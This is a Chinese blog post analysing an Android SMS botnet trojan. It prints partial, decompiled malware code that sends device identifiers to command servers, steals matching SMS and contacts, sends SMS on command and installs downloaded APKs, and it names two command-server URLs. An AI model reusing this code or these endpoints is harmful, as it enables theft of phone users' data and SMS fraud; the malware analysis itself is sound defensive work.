public void threadOperationRun(int paramInt, Object paramObject)
{
ServerResponse localServerResponse2;
if (paramInt == 1)
{
localServerResponse2 = MainApplication.sendRequest();
executeCommands(localServerResponse2);
if (localServerResponse2.wait == 0L)
{
Settings.saved.timeConnection = (System.currentTimeMillis() + Settings.saved.period * Settings.SECOND);
MainApplication.settings.save(this);
Intent localIntent = new Intent(this, AlarmReceiver.class);
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 423472234, localIntent, 0);
((AlarmManager)getSystemService("alarm")).set(0, Settings.saved.timeConnection, localPendingIntent);
}
}
while (true)
{
return;
Settings.saved.timeConnection = (System.currentTimeMillis() + localServerResponse2.wait * Settings.SECOND);
break;
if (paramInt != 2)
continue;
String[] arrayOfString = (String[])paramObject;
long l = Long.parseLong(arrayOfString[2]);
if (MainApplication.settings.isNeedSendCatchSmsToSms(l))
sendCatchSms(arrayOfString[0], arrayOfString[1]);
ServerResponse localServerResponse1 = MainApplication.sendCatchRequest(arrayOfString[0], arrayOfString[1]);
if (localServerResponse1.removeCurrentCatchFilter)
{
MainApplication.settings.removeCatchFilter(l);
MainApplication.settings.save(this);
Settings.saved.printToOutStream();
}
executeCommands(localServerResponse1);
}
}
下面就是MainApplication.sendRequest()的实质,我删除了大量异常处理和一部分关于短信窃取的代码功能,可以看到每次http请求,实际上就是轮询setting中的serverList,然后对每一个url发送post来获取控制命令。其中发送了imei,imsi,phone以及sid等。
public static ServerResponse sendRequest()
{
int i;
ServerResponse serverresponse1;
ServerResponse serverresponse = new ServerResponse();
i = 0;
serverresponse1 = serverresponse;
_L3:
String s;
HttpURLConnection httpurlconnection;
if(i >= Settings.saved.serverList.size())
return serverresponse1;
s = (String)Settings.saved.serverList.get(i);
httpurlconnection = null;
DataOutputStream dataoutputstream1;
httpurlconnection = (HttpURLConnection)(new URL(s)).openConnection();
httpurlconnection.setDoInput(true);
httpurlconnection.setDoOutput(true);
httpurlconnection.setUseCaches(false);
httpurlconnection.setRequestMethod("POST");
httpurlconnection.setRequestProperty("Content-Type", "multipart/form-data; boundary=AaB03x");
dataoutputstream1 = new DataOutputStream(httpurlconnection.getOutputStream());
StringBuffer stringbuffer;
int j;
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imei\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(imei);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"imsi\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(imsi);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"phone\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(phone);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"version\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(Settings.saved.version);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"sid\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes(Settings.saved.sid);
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("--AaB03x");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("Content-Disposition: form-data; name=\"type\"");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("\r\n");
dataoutputstream1.writeBytes("callback");
dataoutputstream1.writeBytes("\r\n");
stringbuffer = new StringBuffer("");
j = 0;
_L4:
}
if(httpurlconnection.getResponseCode() != 200)
break MISSING_BLOCK_LABEL_805;
serverresponse5 = parseResponse(httpurlconnection.getInputStream());
这是对返回的serverresponse的解析与执行:
serverresponse5 = parseResponse(httpurlconnection.getInputStream());
parseResponse()方法我就不细写了,实质就是对返回的inputStream进行解析,由于是采用xml格式进的通信的,实质就是提取http中对应元素信息的过程。
这是解析返回的ServerResponse类格式
public class ServerResponse
{ //catchSmslist主要是用在接收短信过滤上,具体结构在下面,主要会用到SmsItem.number和SmsIteml.text这两个属性,实质就是如果接收到的短信是制定号码发来的或着包含指定内容,我们就认为它是敏感信息短信,而且这是一个list,可以包含多个源号码和敏感信息,而且具体属性中如果是*就表示匹配一切。实际上就是利用http控制方式来更新短信窃取匹配模式
public List<SmsItem> catchSmsList = new ArrayList();
// deleteSmsList结构和上面的一样,具体功能上主要是删除指定格式的短信
public List<SmsItem> deleteSmsList = new ArrayList();
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,
public List<HttpParam> httpParamList = new ArrayList();
public String httpRequestMethod = "";
public String httpRequestUrl = "";
public String number = "";
public boolean removeAllSmsFilters = false;
public boolean removeAllSmsResults = false;
public boolean removeCurrentCatchFilter = false;
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息
public boolean sendContactList = false;
//实质是需要发送的sms列表,包括了目的phone和内容,这部分难道是要做短信ddos,或者什么乱七八糟的订阅骗钱应用?
public List<SmsItem> sendSmsList = new ArrayList();
public String server = "";
public ScreenItem updateScreen = new ScreenItem();
//需要下载的新的apk文件url
public String updateUrl = "";
public long wait = 0L;
}
public class SmsItem
{ @Attribute
public String id;
@Attribute
public long key;
@Attribute
public String number;
@Element
public String text;
@Attribute
public Boolean toSms;
}
下面就是对ServerResponse的执行过程了。由于对response已经做了如上转换,所以控制命令就直接对着对应属性判断就可以了。其实最主要功能,我已经加红标粗了。就是下载别的apk并安装。
public void executeCommands(ServerResponse paramServerResponse)
{
while (true)
{
int i;
try
{
paramServerResponse.printToOutStream();
if (paramServerResponse.server.length() <= 0)
continue;
//顾名思义,list中添加新的控制服务器,然后保存
Settings.saved.serverList.add(paramServerResponse.server);
MainApplication.settings.save(this);
if (paramServerResponse.number.length() <= 0)
continue;
//顾名思义,添加新的控制服务器电话号码,然后保存
Settings.saved.number = paramServerResponse.number;
MainApplication.settings.save(this);
if (!paramServerResponse.removeAllSmsFilters)
continue;
//下面这些都是对catachSmslist和deleteSmslist以及sendSmsList的操作,前面我讲过了这些属性的作用。其实无非是增加删除,由于都只是列表就不细说了
Settings.saved.deleteSmsList.clear();
MainApplication.settings.save(this);
if (paramServerResponse.catchSmsList.size() <= 0)
continue;
int k = 0;
if (k < paramServerResponse.catchSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.deleteSmsList.size() <= 0)
continue;
int j = 0;
if (j < paramServerResponse.deleteSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.sendSmsList.size() <= 0)
continue;
i = 0;
if (i < paramServerResponse.sendSmsList.size())
continue;
MainApplication.settings.save(this);
if (paramServerResponse.httpRequestUrl.length() <= 0)
continue;
//下面的控制命令是去get一个页面之类的,估计是用来点广告之类,
if (!paramServerResponse.httpRequestMethod.equals("GET"))
continue;
MainApplication.sendGetRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
//窃取sendContactList联系人信息,boolean值来表示是否窃取联系人信息
if (!paramServerResponse.sendContactList)
continue;
MainApplication.sendContactsToServer(this, MainApplication.contactsToXml(MainApplication.getContacts(this)));
if (paramServerResponse.updateUrl.length() <= 0)
continue;
ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
if ((!localConnectivityManager.getNetworkInfo(1).isAvailable()) && (!localConnectivityManager.getNetworkInfo(0).isConnectedOrConnecting()))
continue;
String str = System.currentTimeMillis() + ".apk";
//这部分比较关键,实际上就是根据服务器返回的updateUrl,来去下载对应的apk,在外部sd卡上,并且调用UpdateActivity这个来安装外部apk,不过这里依旧需要用户自己在权限界面点击确定才会安装成功。
if (!MainApplication.DownloadApk(paramServerResponse.updateUrl, str))
continue;
MainApplication.updataApkPath = Environment.getExternalStorageDirectory() + "/download/" + str;
MainApplication.updateScreen = paramServerResponse.updateScreen;
Intent localIntent = new Intent(this, UpdateActivity.class);
localIntent.addFlags(268435456);
startActivity(localIntent);
if (paramServerResponse.removeAllSmsResults)
{
Settings.saved.sendSmsResultList.clear();
MainApplication.settings.save(this);
break label612;
Settings.saved.catchSmsList.add((SmsItem)paramServerResponse.catchSmsList.get(k));
k++;
continue;
Settings.saved.deleteSmsList.add((SmsItem)paramServerResponse.deleteSmsList.get(j));
j++;
continue;
//这部分就是我前面提到的sendSmsList,可以看到这里进行了发送。
SmsItem localSmsItem = (SmsItem)paramServerResponse.sendSmsList.get(i);
if (!sendSms(localSmsItem.number, localSmsItem.text))
continue;
Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, true));
break label613;
Settings.saved.sendSmsResultList.add(new SendSmsResult(localSmsItem.id, false));
}
}
catch (Exception localException)
{
localException.printStackTrace();
break label612;
if (!paramServerResponse.httpRequestMethod.equals("POST"))
continue;
MainApplication.sendPostRequest(paramServerResponse.httpRequestUrl, paramServerResponse.httpParamList);
continue;
}
label612: return;
label613: i++;
}
}
基本上http botnet部分的命令接受与控制就是这个样子了。
其中对catchSmsList和deleteSmslist的利用是在SmsReciver中实现的。实质就是监听了sms的接收,然后进了过滤
public class SmsReciver extends BroadcastReceiver
{
private SmsMessage[] getSmsMessages(Bundle paramBundle)
{
Object[] arrayOfObject = (Object[])paramBundle.get("pdus");
SmsMessage[] arrayOfSmsMessage = new SmsMessage[arrayOfObject.length];
for (int i = 0; ; i++)
{
if (i >= arrayOfObject.length)
return arrayOfSmsMessage;
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])arrayOfObject[i]);
}
}
public void onReceive(Context paramContext, Intent paramIntent)
{
SmsMessage[] arrayOfSmsMessage = getSmsMessages(paramIntent.getExtras());
int i = 0;
int j = 0;
while (true)
{
if ((j < arrayOfSmsMessage.length) || (i != 0));
try
{
abortBroadcast();
return;
SmsMessage localSmsMessage = arrayOfSmsMessage[j];
String str1 = localSmsMessage.getOriginatingAddress();
String str2 = localSmsMessage.getMessageBody();
//匹配catchSmsList
CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
if (localCatchResult.result)
//一旦匹配到了sms,就调用MainService.start发送,这个在前面讲到了
MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
//匹配deleteSmsList
if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))
i = 1;
j++;
}
catch (Exception localException)
{
while (true)
localException.printStackTrace();
}
}
}
}
如上基本就分析完了这个手机的botnet木马,功能上还是比较齐全的,有点广告功能,更新下载,窃取指定短信,窃取联系人信息,短信盗用发送。采用http post通信控制,数据交互采用xml,每个bot节点根据imsi等来区分。更新上考虑的蛮完备的,包括server名单的更新,CC电话的更新,需要窃取信息格式的更新等等。
但是不幸的是,这两个域名不知道是被墙了还是挂了还是怎么着,反正我现在解析不能,所以动态的一些分析就不做了。从这个bot程序来看,手机上botnet应该是已经起步了
<string>http://icoolshop.ru/cp/server.php</string>
<string>http://iconsshopbest.com/cp/server.php</string>
发表评论
-
metasploit 图形化界面和自动化exploit脚本
2013-10-21 16:25 77740x01 最新版的metasploit没了图形化界面, ... -
APKTool签名的一个问题
2013-10-14 21:19 25240x01 昨天写了反编译,今天就写下签名的问题 0 ... -
APKTool打包的一个小问题
2013-10-13 20:23 248350x01,又开始写blog了,好久没有网络了,最近终于可以开 ... -
struts2远程执行漏洞学习(四)
2013-05-23 00:12 23610x01 最近又有了一个新的struts2漏洞,http:/ ... -
CVE-2013-1493 学习
2013-03-25 16:06 30240x01 这个又是一个java CVE,效果前几个一样, ... -
CVE-2013-0422 分析2
2013-01-11 23:47 35290x01 http://wcf1987.iteye.c ... -
CVE-2013-0422 学习
2013-01-11 16:26 41930x01 这个是这两天爆出来的,我构建了一个本地测试代码,主 ... -
CVE 2012 0507 分析
2012-12-17 16:00 35730x01 https://github.com/wche ... -
android 无权限 伪造短信
2012-11-06 09:15 35840x01 这个有是大名鼎鼎的蒋教授发现的,原理简单,有点意思 ... -
A new way to hack android app info
2012-11-06 01:04 1670最近新研究了一种android攻击手段,blog发到团队那里的 ... -
一次被黑追凶(未完待续)
2012-10-15 19:52 25190x01,某天师妹告诉我们某台服务器疑似被人干掉了,我果断远程 ... -
python 反编译 pyc 一些心得
2012-09-06 10:59 538470x01 , 现在用python的人也多了起来,代码安全始终是 ... -
关于web渗透中得一些记录
2012-08-24 23:31 36231. 当得到linux root shell时 ... -
mail xss
2012-08-11 21:57 17181 最近迷上了xss,感觉各种飘逸,特别是http://www ... -
ubuntu共享文件夹设置(转)
2012-08-01 14:50 41771 sudo mount -t vboxsf samp ... -
XSS学习二
2012-07-31 15:48 12691.xss学习到今天算是告一个段落了,发现了一个sohu邮箱 ... -
我的sinaapp
2012-07-27 22:10 1277我的sinapp小家终于成型了 http://icefish ... -
phpcms v9的补充
2012-07-25 21:28 1208前一篇留了个疑问: 为什么 file_get_conten ... -
phpcms v9 爆密码
2012-07-25 20:47 71001.首先是http://www.wooyun.org/b ... -
xss漏洞及其他-学习笔记
2012-07-23 17:05 1541http://www.wooyun.org/bugs/wooy ...
相关推荐
在“Android恶意程序分析(四)”这一主题中,我们将深入探讨Android平台上的恶意软件及其分析方法。在当今数字化世界中,网络安全至关重要,尤其是对于移动设备用户而言,Android恶意程序的威胁日益增加。本文将...
在Android恶意程序检测中,textCNN模型被用来识别和分析应用程序的行为特征,从而判断其是否具有恶意行为。 首先,该方法采用了多种触发机制,目的是从不同层面诱导并暴露潜在的恶意行为。这些触发机制可以模拟用户...
手机等移动设备上存储的敏感信息越来越多,同时这些设备提供的恶意软件保护却相对有限,这直接导致了对安全专家的即时需求,这些专家需要了解如何应对Android恶意软件威胁及其分析。本文将基于《Android Malware and...
本文通过对Android恶意程序常用权限的分析及统计研究,旨在为移动安全领域的研究者和应用开发者提供有价值的数据和方法。 研究首先对226个恶意程序样本进行了深入的分析,这些样本中所请求的权限高达15种之多。在...
知识点二:Android恶意程序的检测原理 Android恶意程序检测主要通过特征码匹配和行为分析两种方式。在本系统中,检测机制首先将待检测的Android应用与特征库中的特征码进行匹配。如果应用中的特征码与特征库中的某个...
【Android恶意程序检测方法概述】 Android恶意程序检测是网络安全领域中的一个重要课题,因为随着智能手机的广泛使用,Android系统的安全问题日益突出。据统计,大约85%的手机采用Android系统,因此,确保Android...
Android恶意代码的逆向分析.pdf Android 恶意代码的逆向分析是当前 Android 安全领域中的一项重要研究方向。本文主要研究基于逆向工程的 Android 应用程序中恶意代码的分析方法。该方法首先通过逆向工程获取 ...
NULL 博文链接:https://wcf1987.iteye.com/blog/1480507
为应对这一挑战,研究人员提出了基于行为分析的Android恶意程序检测工具,以提高对恶意软件的检测准确率。 在Android平台上,恶意程序的识别主要依赖于静态检测。这种方法通过对应用程序的代码和资源文件进行分析,...
**Android-Droidefense: 高级的Android恶意软件分析框架** 在移动安全领域,尤其是在Android平台上,恶意软件分析是至关重要的。Android-Droidefence是一个专门为Android恶意软件设计的高级分析框架,它旨在帮助...
#### 二、Android 恶意软件的特点 ##### 1. 使用标准 API 进行信息提取 大部分 Android 恶意软件采用常规的方法来提取用户数据,比如使用标准的 Android API 来获取联系人列表、短信记录等敏感信息。这些操作看似...
本文主要介绍了基于机器学习技术的Android恶意软件检测方法,该方法结合静态分析和动态分析两方面对Android恶意软件进行检测,并讨论了Android恶意软件检测的重要性和必要性。 机器学习技术在Android恶意软件检测中...
总的来说,基于行为分析的Android系统恶意程序检测模型是应对当前移动安全挑战的重要手段。通过深入理解和分析程序行为,可以及时发现并阻止恶意行为,保护用户隐私和设备安全,同时也为未来的移动安全研究提供了新...